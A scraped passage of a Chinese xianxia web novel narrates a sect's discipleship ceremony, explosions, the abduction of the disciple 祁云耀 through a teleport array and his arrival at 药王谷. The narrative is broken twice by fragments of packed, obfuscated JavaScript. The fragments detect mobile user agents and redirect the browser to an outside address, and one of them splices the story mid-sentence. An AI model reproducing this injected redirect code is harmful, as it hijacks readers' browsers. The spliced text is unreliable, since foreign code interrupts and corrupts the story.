脚步虚浮地挪到桌边,抓起茶壶猛灌了几口凉茶,如火烧火燎的嗓子才稍稍舒缓。他扶着桌沿坐下,双手撑着额头,指尖狠狠插入发丝,神情满是痛苦。 蓦的,一阵清苦的药香混着淡淡幽香,慢悠悠飘进屋内。 祁云耀抬眼转头,便见花秽芳蹲坐在窗沿上,黑斗篷的衣角垂在风里轻轻晃。 少年灵巧地跃进屋中,半点不避嫌,目光滴溜溜左右打量着这间装横得花红柳绿,十分华丽的寝室。全然不顾桌前祁云耀的难受,来来回回踱步数圈,终是摸着下巴下了结论:“你这屋子的布置,倒像我……一位故人的居所。” “那可真是三生有幸。”祁云耀依旧撑着额头,声音哑得厉害,勉强抬眼看向他,“前辈来此做什么?” “呜……”花秽芳踱到他身边坐下,指尖有一下没一下点着桌面,眼底带着探究,“自然是——问问你到底见了什么,吓成这副模样,三魂七魄都快散了,可把我吓死咧。” “前辈不是知道后山里有什么吗?”祁云耀头疼欲裂,话音刚落,便觉头顶覆上一缕温暖,花秽芳的手虚虚停在他发顶,掌心沁出淡淡的碧色灵气,丝丝缕缕缠上他的皮肤,温柔滋养着翻涌的不适,头疼竟奇异地缓了几分。 “我当真不知道。”花秽芳坦白,指尖依旧轻缓渡着灵气,“我只能隐约感应到,后山的东西并无致命危险,甚至说,它们本身毫无攻击性。可你却受了这么重的魇症,为何?” 后山那番景象太过恐怖,此刻褪去极致的恐惧,余下的便只剩匪夷所思。 尽管满心不愿回忆,可面前这看似稚童的少年,却是祁云耀此生见过最莫测的半仙,加之一些或真或假的传言,祁云耀觉得这人说不定能够知道些什么。 他沉默片刻,终是据实开口:“我去后山禁地探查,意外寻到一处石窟,解开禁制进去,才发现里面是个地牢。那地牢里,关押了许多半仙。” “半仙有什么好怕的?又不是什么吃人的妖魔鬼怪。”花秽芳挑眉,语气带着几分不以为然。 “不,不是的!”祁云耀猛地抓住他的手腕,指节泛白,声音止不住颤抖,“里面的半仙模样都十分古怪,最大的不过七八岁孩童模样,最小的只是个婴儿,被大些的孩子抱在怀里。地上全是金色的液体,粘稠得很,还透着一股恶臭,我根本不知道那是什么。可是……可是我亲眼看到,有个婴儿只剩了一半身子,半边躯体都没了,化作了那滩金色的液体!” “半仙化水了?”花秽芳眼底瞬间勾起浓烈的兴趣,指尖摩挲着下巴,却见祁云耀面色惨白、满眼惧色,不由得嗤笑出声,“胆子这么小,以后怎么——” “以后?”祁云耀茫然抬眼,追问出声。旋即反应过来自己被带偏了,转而追问,“前辈知道些什么吗?” “我能知道些什么啊,我就是一个勤勤恳恳做实验的老实本分医师。这种伤天害理的事情我可不知道。” “可你——”还用凡人做实验! “那都是你情我愿的不是么,你自己想想,来我这做实验的哪个不是自愿的?”花秽芳淡淡岔开话题,抽回自己的手,碧色灵气也收了回去,“总之你死不了,放宽心便是。等拜完师拿到你那故人遗物,就跟我回药王谷。等我什么时候再炼出一个炉鼎,你便可以走了。” 祁云耀垂眸,没有应声,目光涣散,似是沉浸在某种纷乱的思绪里。 花秽芳才懒得管他在想些什么,今夜既已得到想要的答案,便不愿再多在他身上浪费时间。他起身便要翻窗离开,走到窗边时,又忽然想起什么,转头淡淡嘱咐: “对了。” 祁云耀抬眼,眼眶依旧通红,声音沙哑:“什么?” “在我研究完成之前,你别随便跟别人双修。” 丢下这句没头没脑的话,花秽芳的身影便一闪,消失在浓重的夜色里,只留怔在原地的祁云耀。 “金水——” 祁云耀低声喃喃,“你也变成金水了吗?” 7. 拜师 经了昨日那一遭,祁余天满心以为今日的拜师大典定会延迟。 昨日他听天机阁弟子闲谈,说肖严谨手头有具能陪武人练手的机关偃甲,心里早痒得不行,原想着今日去试上一试,若是真的好用,哪怕回去被爹娘揍死,也要买一具回去陪自己切磋。 结果他刚提着剑转到天机阁弟子的居所外,便见里头竟严阵以待!往日散漫的天机阁众人,难得个个穿戴齐整,面色还透着几分严峻,倒叫他心里吃了一惊。 肖严谨瞥见祁余天,当即主动上前搭话,几句闲聊下来,祁余天才知晓拜师大典竟是照常举行。 他忍不住问:“昨日谢掌门的徒弟那般模样,今日怎么还要照常拜师?” “想知道?”肖严谨闻言,脸上立刻露出神秘莫测的笑,神神叨叨地拉过祁余天的衣领,凑到他耳边悄声说:“我偷偷告诉你,你可别外传啊。” 祁余天忙不迭点头,连声道自己定然守口如瓶。 “我听说是那小徒弟自己要求的。”肖严谨压着声音。 “啊?为啥啊?”祁余天满脸诧异。 “嘿嘿嘿。”肖严谨笑得狡黠,一双大眼睛眼睛眯成两道细缝,活像只眯眼摇着大尾巴的狐狸,“那自然是因为,这小徒弟巴不得赶紧入谢长泽的门啊!” “啊?”祁余天听得一头雾水,只觉肖严谨说的每个字他都认得,可连在一起,竟半点摸不着头脑。 “你个傻子!”肖严谨笑骂一声,语气里满是得意,“我早打听清楚了,这小徒弟可是个极品炉鼎哩!当初被谢长泽从歹人手里救下,就一门心思要以身相许。偏这小子傲得很,一边想跟谢长泽双修,一边还逼着谢长泽给名分。嘿呀,就是没打听透谢长泽怎的就被他说动了,不过结果你也见着了,这小徒弟看样子是真有两把刷子,竟能让谢长泽情愿拂了尹无霜的脸面,也要把他收进门。嘿嘿嘿,嘿嘿嘿。” 肖严谨咯咯咯地笑,越说越兴奋,脸上全然没有八卦到秘闻的满足,反而挖出这等惊天爆料的自得,竟全然没注意到祁余天早已僵在原地,眼神发直,满脸呆愣。 他到最后都记不清,自己是怎么浑浑噩噩走回西门小院的,甚至早忘了去天机阁的初衷是为了那机关偃甲。 直到脚下被门槛狠狠一绊,结结实实摔了个四脚朝天,祁余天才猛然回神,连滚带爬地爬起来,扯着嗓子喊:“小妹,小妹!”一头撞进了祁灵昭的房间。 约莫半个时辰后,米长老领着一众打杂弟子浩浩荡荡往客舍去,请诸位贵客移步大殿观礼。 与此同时,青云剑庄山门大开,守在山下早已按捺不住的散修们火急火燎往山上冲,有几个急昏了头的,竟忘了凡间禁御剑的铁律,刚御起剑便被护山结界狠狠打落,只得灰头土脸地老老实实爬山。 拜师的场地选在正殿正对的青云台。这台四面环着翻涌的云海,远处青山在云烟中若隐若现,仙雾缭绕,景致极是清丽。天盟地宗的诸位贵客,被安排坐在青云台通往正殿的石阶两侧;一众散修则分立青云台两旁,挤挤挨挨地翘首张望。 今日的谢长泽,难得褪下了平日里那件灰色老旧道袍,换上了青云剑庄掌门专属的威严礼服,锦纹暗绣,玉带束腰,立在大殿门口,身姿挺拔,严正以待。 一旁的米长老立在青云台高阶之上,深邃的眼眸中,除了庄重,还藏着一丝难以言喻的……认命。 他双手郑重端着一柄修长长剑,剑身在天光云海间覆着一层淡淡银辉,因站得高,台下众人只隐约见得剑脊修长、剑鞘古朴的轮廓,却是瞧不真切这究竟是何等神兵利器。 尹无霜今日终是肯出门了,晨起认真梳洗打扮过,一身素白仙裙衬得眉目清雅。此刻见心上人这般丰神俊朗,她心头砰砰直跳,可转念一想,他这副郑重模样,并非为自己,而是为了那个娇蛮无礼的弟子,心头便漫上酸涩,委屈得眼眶泛红,几欲落泪。 “不是说,喜欢知书达礼的么?”尹无霜喃喃低语,指尖攥紧了裙角。 不远处的祁灵昭将好友的模样看在眼里,却顾不上上前安慰——她还陷在清晨听到的消息里,那番话宛若惊雷,将她劈得外酥里嫩,至今回不过神。 西门这两兄妹,此刻竟像是连路都走不稳了,相互搀扶着,脸色皆是一片惨白,毫无血色。 “你、你再说一遍,云耀他真的和谢长泽双修了?”祁灵昭已是第几十次问出这话,次次得到相同的答案,可她仍不死心,仿佛只要有一次听到不同的回应,便能推翻所有,抓住自己想要的结果。 “是。”祁余天斩钉截铁,语气里却满是不愿相信的悲戚,“肖严谨亲口说的,还说云耀是极品炉鼎,当初被谢长泽救下,就非要以身相许。” 祁灵昭眼神发直,嘴唇翕动两下,长长吐出一口气,声音发颤:“当初就不该放他出来的!你当初为什么不早点来找他?你若来了,他也不会插足别人的感情!” “我怎么知道会变成这样!”祁余天急着辩解,嗓门都哑了,“而且当初你们不都说,他是出来找谢重楼的吗?谢重楼都死了,我以为他寻不到人,自然就回家了!谁能想到,他不回家,反倒装成炉鼎,还去勾搭尹无霜的未婚夫啊!” “难道是……睹人思人?”祁灵昭抬手摸着下巴,忽然生出一个猜测,眉头紧蹙,“谢长泽是谢重楼的师兄,当初云耀最喜欢的就是谢重楼,现在谢重楼没了,难不成他把谢长泽当成了替身——这么说来,难怪他要换个身份,蛰伏在谢长泽身边!” “不对不对!”她话音刚落,不等祁余天回应,便自己摇着头否决了,“太牵强了!他当初追在谢重楼身后,那副要死要活的模样,怎么可能说放下就放下,转头去找替身?不对,肯定不是这样。容我再想想……再好好想想……” 她低声喃喃着,指尖力气不自觉越收越紧,祁余天被掐得呲牙咧嘴,却愣是不敢叫出声,只能死死咬着唇瓣强忍。 两人各怀心思思忖之际,青云台的尽头,已缓缓走上一道高挑艳丽的身影。 来人容貌本是英俊,却绝称不上艳丽,那夺目的艳色,全来自他身上那件桃红色华裳——衣料精致华美,衣摆以金线绣满灼灼桃花,衬得人面与花色相融,竟生出几分“人面桃花相映红”的旖旎美感。 可美则美矣,在一众修士非青即白、或黑或灰的素净衣色里,这抹鲜亮到极致的桃色骤然杀出,刺得不少几十年未见这般浓艳颜色的老修士眼睛酸涩,竟似要被灼伤一般。 而穿这衣裳的祁云耀,却全然不管旁人目光,趾高气昂地迈着步子,雄赳赳气昂昂,一步三扭,那架势,恨不得昭告天下自己是谢长泽的亲传弟子,硬生生闪瞎了观礼一众修士的眼。 方才不过是被颜色晃了眼,这下却是真真切切的无眼看。 祁灵昭被他这副模样狠狠一刺激,大脑直接停止了思考,颤巍巍拉着祁余天的手臂,指尖恰好碰到方才被自己掐红的皮肉,疼得祁余天倒抽一口凉气。而祁灵昭却像是得了某种难得的支撑,声音发颤:“你也觉得他疯了,是么?” 偏偏只有西门家这两兄妹,觉着自家二弟/二哥是失了心智,其余人等,除却些没见过世面的散修,大多都目不转睛地打量着这骄傲如开屏花孔雀般的男人。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177146|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 肖严谨先前只与他匆匆一面,印象还停留在“傲娇草包”上,原还想着此人或许藏着几分难得的本事,如今看来,竟真就是个被谢长泽捡回来的草包炉鼎,半点可取之处也无。 禅宗众人对祁云耀的张扬行径并无太多表情,依旧个个低眉垂目,唯有玉蝉方丈在他擦身而过时,低低念了一声“阿弥陀佛”,声线轻淡,似有叹惋。 风幕卿并未现身观礼,玉虚仙宗的位置上,只有阿璟和阿和两个小童。二人手牵着手,头凑在一起低声嘀咕,时不时发出咯咯的轻笑,看得对面天机阁的众人心痒难耐,恨不得割下耳朵丢过去,听听他们到底在说些什么。 花秽芳今日也未到场。方才米长老带人去请他观礼时,他只推说昨夜研究药石太晚,要留屋休息,直接回绝了。米长老素来听过这位诡医的各式传闻,自然乐得清闲,转头便重新将他院外的禁制封死,免得这怪人自己不去观礼,反倒跑出来捣乱。 待到桃红艳影站定至大殿正前时,场中切切咂咂的声音一瞬间静了。 吉时已到,米长老高亢的嗓音穿透云海,响彻青云台与大殿: “青云剑庄,开门收徒,行拜师大典——!” 祁云耀闻声精神一振,提着华美的桃红旗袍摆,身姿款款迈步上前。 他对着谢长泽恭行三跪九叩大礼,每一个动作都透着精心设计的韵律:叩首时额头轻触青石,发髻却纹丝不乱;起身时宽大衣袖桃色衣摆扫过地面,扬出最优美的弧度。 礼毕,他双手高捧香茗,嗓音清亮:“师尊在上,请受弟子尧云一拜!” 满堂俱静。 一众散修瞧着这过分讲究的姿态,到底是没见过这般场面,嘴角不受控制地微微抽搐。 谢长泽的眼角狠狠跳了一下,他缓缓接过茶盏,仰头一饮而尽,那模样像是喝下一碗不得不咽的苦药。 “好。”他的声音听着沉稳,却藏着一丝不易察觉的疲惫,“从今日起,你便是我谢长泽的关门弟子。入我青云门,须谨守门规,不可有违。” 说罢目光再次扫过祁云耀那身花枝招展的行头,硬生生压下心头厌恶的异样,努力维持着掌门的庄重。 “一曰:心存侠义,扶危济困……” “弟子明白!”祁云耀扬声抢答,直接打断了他的话。 谢长泽:“……” 他咬了咬牙,加重语气续道:“二曰:尊师重道,谨听师训……” “弟子明白!”又是一声利落的抢答,半点不拖泥带水。 谢长泽额角的青筋突突直跳,到了嘴边的余下门规,终究是咽了回去。 他几乎是妥协般深吸一口气,索性放弃与这弟子理论,转身从米长老手中接过那柄古朴长剑,递向祁云耀。 离得最近的天盟地宗众人,此刻终于看清了长剑的真实样貌,霎时间,齐齐倒抽一口凉气,面色尽是震骇。 阿璟阿和最是沉不住气,直接“哎呀”一声惊呼出来,话音落才恍然觉得失态,忙伸手互相捂住对方的嘴巴,小身子绷得笔直,像是想把那声惊呼硬生生收回去。 可在场的大人,皆被那柄长剑惊得心神震荡,竟无一人留意到两个小童的小动作。 只见那是一柄古朴修长的佩剑,剑身通体凝着沉郁墨色,不见半分寒光,却自透着凛然剑意。剑柄剑鞘之上,皆雕重楼草纹,缠枝绕柄,纹路苍劲。 赫然是那柄名动天下的天下第一剑——断不义! “我靠了——” 祁灵昭,捂着嘴低声同祁余天交谈。“看来疯的不只是祁云耀,谢长泽也疯了。” 8. 变故+重逢 世人皆称断不义为天下第一剑,可这“天下第一”的名头,却不是剑本身挣来的,而是因它的两代主人,皆是冠绝天下的剑修。 第一任主人谢青,一剑破万军,曾调和天盟地宗联手共抗血月邪教,凭此一战名震三界,乃是当之无愧的天下第一人。 第二代主人谢重楼,少年成名,一剑斩恶蛟立威,更击败彼时剑修第一人的尹无霜,一朝登顶。可他这“第一”,却从未得天下公认。他与尹无霜的比试过后不久,便答应与西门祁余天约战,然而最后竟败在了对方的浑天剑下。而世人皆知,祁余天本是君子剑兰泽的手下败将。是以谢重楼与谢长泽,究竟谁才是真正的天下第一人,始终众说纷纭,不过是众人看在断不义的威名上,才勉强将谢重楼归作天下第一罢了。 与祁余天战后未久,便传出谢重楼发疯弑师的惊天传闻。最终是谢长泽以武力镇压,将亲师弟斩于青云台。 自那以后,断不义便成了无主之剑,被镇于剑冢,尘封多年,直至今日,才在这拜师大典上重新现世。 所以谁也未曾想到,谢长泽竟会将这柄落了“弑师之剑”名头的断不义,当作拜师礼亲手赠予祁云耀。 这一幕如惊雷劈在祁灵昭心头,她脑中骤然灵光一闪,脸色愈发难看,扯着祁余天的袖子急声道:“不对劲啊不对劲啊!你说,二哥他该不会是要拿这断不义,斩谢长泽为谢重楼报仇吧?啊呀呀,肯定是这样!这就全对了!” 祁余天闻言,脸色瞬间惨白如纸,忙拼命回忆数年前肖严谨来西门散播的传言——当时说的,可不就是谢重楼被谢长泽亲手斩于青云台吗?而他们此刻脚下站着的,正是青云台! 他被祁灵昭这猜测惊得心头剧跳,竟已然信了大半,只觉后颈发凉,冷汗顺着额角往下淌。 兄妹二人相互搀扶着,满头满脸全是冷汗,目光死死钉在殿前那道手握断不义的身影上,心都揪成了一团。此刻竟只剩一个念头:他若真要动手,便砍得利索些,事后逃跑也跑快些,千万直直往西门的方向逃。 二人满心惶急,却是无一人想过,谢长泽身为青云剑庄掌门,岂会没有能力躲开这一剑。 祁云耀接过断不义,满心滚烫地将剑抱在怀中,指尖仔仔细细,一寸一寸摩挲着剑鞘上的重楼草纹,那熟悉的纹路蹭过指腹,心底蓦地涌上一股说不清道不明的酸涩,汩汩的酸意往胸口翻涌,像是要将他整个人溺毙,压抑得他眼眶泛红,几欲落泪。 他拼尽全力压下喉间的哽咽与心底的翻涌,艰难撑着身子起身,躬身欲行谢礼:“弟子谢师尊赐——” “轰隆——” “轰隆——” “轰隆——” 三声震耳欲聋的爆炸骤然炸响,生生撕碎了祁云耀的谢声,也如三记重锤,砸懵了青云台上所有观礼的来客。 前两声爆炸过后,正殿后方的山体骤然剧烈震颤,崖壁上的巨石簌簌脱落,咕噜噜地往下滚落,烟尘漫天;而第三声爆响,竟直接从大殿内部炸开,灼热的气浪裹着火星,如凶兽般直直朝着殿口的几人席卷而去! 米长老久居剑庄打理杂务,早没了当年跑江湖的机敏,骤遇此变竟一时僵在原地。他看着砸落的巨石与扑面的热浪,余光瞥见身旁几个吓得脸色惨白的小弟子,心头一紧,也顾不上自身安危,伸手便要将离得最近的孩子护在身后。 小弟子们死死抱着米长老的胳膊,吓得眼睛都不敢眨。米长老也怕,可生死关头,心底那股执念竟压过了恐惧,他将能护到的孩子尽数按在身下,又猛地丢出随身佩戴的护身法宝,护住了那几个拉不住的小弟子,随后闭紧双眼,安静地等着死亡降临。 可预想中的剧痛并未到来。 米长老愕然睁眼,只见一柄宽厚的西门重剑骤然立在他身前,剑身嗡鸣不止,凛冽的剑意翻涌,竟将砸落的巨石绞成了齑粉,剑意凝作一道天然护罩,将他与一众小弟子牢牢裹在其中。 他心头一暖,忙转头想朝出剑之人投去感激的目光,却见祁灵昭和祁余天压根未看他,二人各自举剑,剑风凌厉,一人劈碎凌空砸落的山石,一人斩断扑面的灼热气浪,周身皆是肃杀。 另一边,观礼的众人也被这突来的变故惊得心神俱裂,待反应过来时,巨石与热浪已近在眼前。未等众人各自祭出法宝,一道金光骤然乍现,柔和却不失力量的护罩凌空展开,将石阶两侧的天盟地宗众人齐齐笼罩。山石撞在护盾上,瞬间被震得粉碎;热浪触到护罩,也顷刻消弭无形。 石阶旁的禅宗僧人齐齐双手合十,口中快速念动法诀,金光护罩应声扩大,将青云台上的散修也尽数裹入其中,以免他们被乱石误伤。 阿和阿璟早被身边凌云阁的弟子一把抱进怀里,两个小童窝在旁人怀中,吓得瑟瑟发抖,小身子缩成一团。 尹无霜双剑出鞘,剑花翻飞,左右挥斩间,将身前的乱石尽数劈落。她心中焦急万分,目光死死锁着殿口的方向,却发现谢长泽早已不在原地,连带着他那新收的徒弟,也没了踪影。 她慌忙四下张望,终于在大殿的屋檐上见着了人影——谢长泽手持兰泽剑,剑眉紧蹙,正与一名黑袍男人对峙,剑风相击,泠泠作响;而祁云耀,竟被那黑袍男人扣在怀中,手腕被死死攥着,只能徒劳地踢腿挣扎,脸上满是惊怒。 “师尊救我啊!救我啊!”祁云耀放声大呼,哪里还有半分青云剑庄首席弟子的模样,只剩满眼惊惶。 “放下他!”谢长泽持兰泽剑直指黑袍男人,声线冷冽,周身剑意翻涌。 黑袍男人却咯吱咯吱怪笑起来,嘴角咧开,呲出两排尖锐的利齿,诡异至极,连眉心那粒原本淡金的小痣,都似染了血色,变得猩红刺目。 “谢长泽,我倒一直好奇,你收个炉鼎做弟子到底图什么?”褪去稚童模样的花秽芳,更添几分诡谲妖异,他挑眉睨着谢长泽,语气满是挑衅,“你又不睡他,留着他又占地方,不如还给我,我还能接着做我的实验。” “你住嘴!”谢长泽怒喝,手中兰泽剑应声嗡鸣震颤,似也随主人动了怒,“尧云是活生生的人,岂会任你拿来做那灭人伦的龌龊实验!” “是吗?”花秽芳勾唇露出个意味深长的笑,怀中的祁云耀还在拼命挣动,他似也演得腻了,干脆掐诀召出一道捆绳,瞬间将人捆了个结实,反手便扛在肩上,足尖一点跃下古殿屋檐,“那便来抓我吧。” 话音未落,他身形已窜至青云台中央,眼看就要冲破青云剑庄的山门。 “我剑,我剑没拿!”祁云耀贴在花秽芳背上,压着声音急声低语,满是焦灼。 “不就在你怀里?”花秽芳余光扫过他紧抱的,刻着重楼草纹的佩剑,脚下速度半点未减,依旧朝着山门疾冲。 “不是这把!是我的剑——啊啊啊啊!” 祁云耀的惊呼未落,一道凌厉剑光已破空而至,剑尖直逼花秽芳后心,险险就要戳上祁云耀的脸。 就在剑尖堪堪要刺入□□的瞬间,花秽芳竟似背后长眼,腰身猛地一斜,就地一个翻滚,堪堪躲开了这记狠戾的戳刺。祁云耀被他顺势抛到一旁,重重摔在青石地上,抬眼时,才看清前来救他的人—— 是尹无霜。 谢长泽尚在后方疾冲赶来,尹无霜却脚程更快,转瞬便掠至近前,双剑交叉成凌厉攻击姿态,寒声喝道:“把人留下!” 花秽芳舌尖轻舔尖牙,眼底翻涌着戏谑。祁云耀被捆着手腕坐在青石上,本还等着看两位半仙的巅峰对决,没料花秽芳长臂一捞,竟又将他扛回了肩头,凑到他耳边低声嘱咐:“一会她挥剑砍我,你就抬脚踹她。” 祁云耀:“……” 祁云耀懵了:“什、什么?” 他疑心自己耳朵出了错,却见花秽芳语气愈发坚定,压着声重复:“她砍我你就踹,她定然不敢弄伤你。” “那你呢?”祁云耀下意识问。 “自然是扛着你跑路——来了,准备!” 话音未落,尹无霜的双剑已携着凛冽剑意杀至近前。 祁云耀被扛在背上,压根看不见身后动静,小腿弯突然被狠掐了一把,他当即心领神会,扯开嗓子哭喊大叫:“救命!救命啊!师娘救救我啊啊啊!” 哭声撕心裂肺,双脚还胡乱蹬踢,尹无霜刺向花秽芳心口的剑锋猛地一偏,堪堪擦着祁云耀的鞋底错开,险险避过了他的身子。 “别动!”尹无霜冷声呵斥,手腕翻转,双剑再度缠上花秽芳的周身,招招狠戾。 可祁云耀却将草包模样演绎到了极致,哪里听得进半分话,只觉鞋底被剑风扫过的凉意,惊得哇哇大哭:“啊啊啊师娘你别趁机砍我啊啊啊啊!救命!师尊救命啊!” 他身子扭来扭去,活像条离水的鱼,尹无霜几次剑势都要刺中花秽芳要害,却都因顾忌着他,次次被逼得收剑偏招,气的剑尖发颤。 花秽芳乐见其成,脚下速度丝毫不减,扛着人左闪右避,转眼便奔至山腰,堪堪踏出了青云剑庄的护山大阵范围。 刚一离阵,他反手便捏了个法诀,一道玄色法阵骤然在前方铺开,阵纹亮起的一瞬,漫天华光骤起。 “是‘缩地成寸’!” 不知哪个修士在后方惊声大叫,一语落下,在场众人皆是心头巨震。 花秽芳的仙缘,竟赫然是仙法缩地之术! “拦住他!” 谢长泽目眦欲裂,扬声大喝,可身上繁复的掌门礼服层层束缚,步履沉滞,压根追不上前方疾奔的身影。身后一同赶来的修士们也个个急头白脸,恨不能立刻上前拦下花秽芳,生怕谢长泽这新收的小徒弟真被这大魔头掳走。 尹无霜闻得谢长泽的喝声,再无半分顾忌,手腕翻转,双剑同时凌空劈出,一道凌厉的双刃剑气凝作实质,直逼花秽芳后心! “喝啊啊啊——我来!” 一声暴喝陡然响起,尹无霜那道势如破竹的双刃剑气竟被骤然打散,取而代之的是一柄玄铁重剑裹挟着劲风翻转而来,剑身在天光下泛着冷硬寒光,直直朝着花秽芳后心砸去。 众人闻声齐齐回头,只见西门祁余天还维持着奋力掷物的架势,臂膀微扬,显然那柄重剑正是他全力甩出去的。 花秽芳也敏锐察觉到身后的破风之声,心头一凛,猛地转头看去。 身形稍转的瞬间,扛在肩头的祁云耀也跟着偏移了些许,恰好错开了重剑原本的轨迹——那柄玄铁重剑竟直直砸中了花秽芳的额头! 沉重的剑身在蛮力加持下带着千钧之势,砸得花秽芳闷哼一声,连人带肩上的祁云耀,竟被这股力道带着,直直撞进了华光大亮的缩地成寸阵法中。 玄铁重剑落地的声响与阵法启动的轰鸣交织在一起,那道亮彻山腰的光幕骤然暴涨,旋即快速敛缩,最终化作一点微光,消散于天地之间。 连人带剑,一同消失得无影无踪。 青云台山腰处瞬间陷入死寂,所有修士皆僵在原地,望着空荡荡的阵法原址,一时竟没人敢出声。 方才那一幕,实在太过猝不及防。 “你是猪吗!蠢猪!蠢猪啊啊啊!” 祁灵昭揪着祁余天的耳朵死命拽,脚尖一下下狠踹他的小腿肚,踹得祁余天哎哟哎哟直叫唤,连连讨饶。 眼见着罪魁祸首正被狠狠教训,余下众人面面相觑,竟都哑口无言——西门大公子脑子不太灵光,本就不是什么秘闻,只是没人料到,他这一下莽撞,竟直接把人连带着阵法砸没了。 天机阁的弟子们看看鼻青脸肿的祁余天,又望望阵法消失的空处,凑在一起低声窃窃私语。最敏锐的肖严谨扫了眼交头接耳的同门,又瞧着被小妹一拳拳捶打的祁余天,手指摩挲着下巴若有所思,蓦然一拍掌,大眼睛亮得惊人,凑到身旁同门耳边道:“定是灵昭妹妹想给无霜姐报仇,才使唤余大哥丢剑砸人的!” 周围同门听罢,皆深以为然地点头,纷纷附和认可这个说法。 这边谢长泽正因徒弟当众被掳走急得焦头烂额,冷不丁,剑庄方向又传来数声震天爆裂。 他再也无暇顾及被掳走的祁云耀,当即转头带着众人往山庄急赶。 此番爆炸竟连及周围数座山峰,巨石滚滚砸落,转瞬便将青云剑庄的大殿砸了个稀碎,而后山的爆炸声,还在接连不断地响起。 谢长泽心下一凛,暗道不好。 身旁有知情的修士低声喃喃:“谢青掌门的灵柩,不会出事吧?” 此言一出,在场一众或是爱慕、或是崇拜谢青的修士再也坐不住,风风火火的竟也顾不上谢长泽这个现任掌门,一窝蜂地朝着青云剑庄的后山禁地冲去。 谢长泽伸手阻拦不及,只得灰头土脸地跟着人群往后山赶。 行至半路,他蓦地被一只手拉住了衣袖,脚步硬生生顿住。 “长泽,我已经很努力想拦住花秽芳了。” 尹无霜的面色也好看不到哪里去,她手持双剑,发髻散乱,袖口上还留着祁云耀猛烈挣扎时踹出的鞋印,模样狼狈至极。她攥着谢长泽的衣袖,想为自己辩解一二,说方才并非祁云耀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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风幕卿望着洞口乌泱泱站着的一大帮子人,却丝毫没有起身见礼的意思,只淡淡掀了掀眼睫,便别过头去,重新俯身趴伏在谢青的棺椁边沿。他的目光一寸寸温柔地拂过棺中紧闭双眼的女人,指尖似是想触碰,又堪堪停在半空,终究是忍住了,良久,才像是再也承受不住心底的沉郁,缓缓地、缓缓地叹出一口气。 “哎——” “哎~~” 一声绵长的叹惋混着金光炸裂的锐响,两道一大一小的人影裹挟着一柄玄铁重剑,齐刷刷砸落在药王谷谷口的青石板阶上,发出沉闷的撞击声。 花秽芳被那记重剑砸中头颅,身形骤然缩回少年模样,额角伤口汩汩往外渗着血。他瘫在石板上,胸口微微起伏,已是出气多进气少,眼看已经昏死过去。 祁云耀也好不到哪里去。 自花秽芳失去意识,那股萦绕在他腰腹间,替他化解旧伤疼痛的灵气便骤然消散,突如其来的绞痛狠狠攫住了他,疼得他瞬间蜷缩成一团,冷汗浸透了身上华裳。腹中似有翻江倒海的力道在疯狂搅动内脏,又像是有熊熊业火在灼烧,热浪顺着经脉窜遍全身,烧得他眼前发黑,几欲晕厥。 “花秽芳!花秽芳!” 他嘶哑着嗓子喊着少年的名字,脑海里还清晰映着祁余天扔出的那柄随身佩剑,狠狠砸中花秽芳脑袋的画面。他不通医术,瞧着花秽芳胸口几乎没了起伏,还以为这人被自己的剑砸死了,惊惶与剧痛交织,让他不由得失声惊叫。 “你醒醒……快给我解开啊!” 祁云耀在石板上痛苦扭动,捆绳勒得他手腕生疼,却痛得连召唤佩剑割绳的力气都没有,腰腹的剧痛却无时不刻磋磨着他的神经,只觉自己快要被这折磨生生疼死,仿佛置身炼狱,被业火焚身,无处可逃。 “老畜牲!” 不知哪来的一股蛮力冲破剧痛,他抬脚狠狠踹向昏迷的花秽芳,将人踹得翻了个面,扑在冰冷的石板上。可即便如此,花秽芳仍是毫无醒转的迹象,浑身软绵绵的,连半点反抗的力气都无。 这一脚纯是泄愤,可出完气的祁云耀转瞬便悔了——踹出的力道扯动了腹间经脉,一股更剧烈的疼痛猛地袭来,疼得他眼泪直冒,手脚瞬间发软,再没了半分力气,只能瘫在地上,任由剧痛啃噬着意识。 我就要这样痛死了吗? 祁云耀昏沉地想,心底翻涌着浓烈的不甘。才刚刚拿到断不义,才刚刚触到可能是栽赃谢重楼的线索,离真相只有一步之遥,怎么能,怎么能就这样死去? 好不甘心! 好不甘心啊! “谢重楼……谢重楼!” 他拼尽最后一丝力气喊着这个名字,痛苦搅乱了他的神智,脑海里再也容不下其他,满心满脑,只剩这个刻入骨髓的名字,只剩那个灰白道袍的身影。 “谢重楼……谢重楼……?” 涣散的目光里,葱绿幽深的树丛间,似有一道白色虚影一闪而过。祁云耀的求生欲瞬间压过剧痛,不知从哪再度爆发出一股力量,他强压着腰腹的撕裂般的疼,沙哑着嗓音朝那道白影喊:“救……救命!” 忽的,那道白影动了,一蹦一跳地朝着石阶靠近,蹄声轻脆,敲在青石板上,格外清晰。 祁云耀涣散的视线里,只看得清那白影越来越大,越来越近,直到至近前,他依旧辨不清那究竟是什么。他疲惫地闭了闭眼,再用力睁开,世界终于清明了一瞬—— 他看清了,那是一只通体雪白的小鹿,鹿角泛着淡淡的莹光,而鹿背上,竟坐着一个神色漠然的青年。 只是这清明仅有一瞬,视线便再度模糊。可奇怪的是,他竟觉得那青年有些眼熟,特别是那双眼睛,淡淡的,凉飕飕的,仿佛对世间万事都毫不在意,唯独,唯独看那匹灰不拉几的杂毛马是不同的。 祁云耀猛地睁大眼,拼尽最后一丝神智想要看清,想要确认这人是不是自己心中所想的那个身影。而当视线触及青年眉眼的那一刻,他怔怔的,目光再也移不开半分。 眉眼清隽,风骨依旧。 相同,却又不同。 眼前这人年岁看上去竟如同当初他见到谢重楼时候的样子,甚至比他初见谢重楼时还要再年轻个两三岁。 